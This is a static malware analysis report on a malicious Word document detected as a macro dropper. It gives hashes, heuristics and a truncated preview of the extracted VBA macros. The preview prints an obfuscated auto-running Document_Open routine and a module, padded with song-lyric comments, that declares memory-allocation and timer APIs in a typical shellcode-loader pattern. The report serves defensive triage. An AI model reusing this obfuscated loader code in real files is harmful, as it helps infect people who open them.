Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8beb373eaf89c1a1…

MALICIOUS

Office (OLE)

200.0 KB Created: 2017-09-12 10:30:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 6f0df9046430efd2a11a167f632a353a SHA-1: 8fbf556c769951f533dc20b7f664d14d1ae1a57c SHA-256: 8beb373eaf89c1a178e06966775aa1b455d2829fc9500bce70c025edfb68ebe0
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6406036-0'. It contains a VBA macro, specifically a Document_Open subroutine, which is a common technique for executing malicious code upon opening the document. The macro's obfuscated nature and the presence of a large slack region in the OLE structure suggest it's designed to evade detection and likely acts as a dropper for further malicious activity.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6406036-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6406036-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 204,800 bytes but its declared streams total only 117,773 bytes — 87,027 bytes (42%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15992 bytes
SHA-256: 5e4899a83773e0d53532f6d2365bb372551f9e3dcc854721a0e6c36c87a265bf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Sub ControlWord()
Dim objWord As New Word.Application
Dim rsContacts As New ADODB.Recordset
Dim strLtrContent As String
rsContacts.ActiveConnection = CurrentProject.Connection
rsContacts.Open "tblContacts"
objWord.Documents.Add
Do While Not rsContacts.EOF
strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
strLtrContent = strLtrContent & "  " & rsContacts("PostalCode")
objWord.Selection.EndOf
objWord.Selection.Text = strLtrContent
objWord.Selection.EndOf
objWord.Selection.InsertBreak
rsContacts.MoveNext
Loop
objWord.Visible = True
objWord.PrintPreview = True
End Sub
Private Sub Document_Open()
Dim definable As Long
Dim perflate As Variant
abranchiate = nonresidence
scintillation = "aigulet"
alget
cocos = 110 + 6
anthropoid = 35220 + 8
extralinguistic = 369480 + 6
 Pmt 0, cocos, 17316, 35520, 7
End Sub
Public Sub DynamicBubble()
Dim tempVar As Integer
Dim anotherIteration As Boolean
Dim I As Integer
Dim arraySize As Integer
Dim myArray() As Integer
Do
arraySize = I
I = I + 1
Loop Until Cells(I, "A").Value = ""
ReDim myArray(arraySize - 1)
Do
anotherIteration = False
For I = 0 To arraySize - 2
If myArray(I) > myArray(I + 1) Then
tempVar = myArray(I)
myArray(I) = myArray(I + 1)
myArray(I + 1) = tempVar
anotherIteration = True
End If
Next I
Loop While anotherIteration = True
End Sub


Attribute VB_Name = "apomict"
'  You wrecked my whole world when you came
'  I was doing alright
#If (11 * 5 + 2) > (7 - 3 * 2) And (Win64) > (40 - 8 * 5) * 2 Then
'  I was doing alright
'  And hit me like a hurricane
Public Declare PtrSafe Function magneto Lib "Kernel32" Alias "CreateTimerQueueTimer" (surrealist As Any, ByVal inpersuasible As Any, ByVal rhizopoda As Any, ByVal fussiness As Any, ByVal halchidhoma As Any, ByVal masker As Any, ByVal anethum As Any) As Long
'  Driving us to your house
'  But just your sight had my heart storming
Public Declare PtrSafe Function annexation Lib "ntdll.dll  " Alias _
   "NtAllocateVirtualMemory" (cartload As LongPtr, linfame As LongPtr, ByVal begird As LongPtr, infelicitousByVal As LongPtr, persuadable As LongPtr, ByVal fallacious As LongPtr) As LongPtr
'  Rain was driving, thunder, lightning
'  Baby, without warning
Public Declare PtrSafe Function incogitancy Lib "Shlwapi.dll" Alias "CreateFileWrapW" (idolatrous As LongPtr) As LongPtr
'  And hit me like a hurricane'  Baby, without warning
Public Declare PtrSafe Function harborage Lib "ntdll.dll" Alias "NtCreateEventPair" (unphilosphical As LongPtr, upholsterer As LongPtr, grampositive As LongPtr) As LongPtr
'  I wouldnt be in my truck
'  And hit me like a hurricane
Public Declare PtrSafe Function worryingly Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (naivete As Any) As LongPtr
'  If I woulda just layed my drink down
'  Started talking bout us again
Public Declare PtrSafe Function enim Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal actomyosin As Any, forequarter As Any, carcinogen As Any, council As Any) As LongPtr
'  But you rolled in with your hair in the wind
'  And hit me like a hurricane
Public Declare PtrSafe Function formalistic Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal entbehre As Any, flare As Any, monovalent As Any, methylphenidate As Any) As LongPtr
'  If I woulda just layed my drink down
'  And hit me like a hurricane
Public Declare PtrSafe Function chasse Lib "Kernel32.dll" Alias "CreateEventW" (ByVal eg As LongPtr, perform As LongPtr, toxotidae As LongPtr, bury As LongPtr, caucasus As LongPtr) As Long
'  We locked eyes over whiskey on ice
'  Rain was driving, thunder, lightning
P
... (truncated)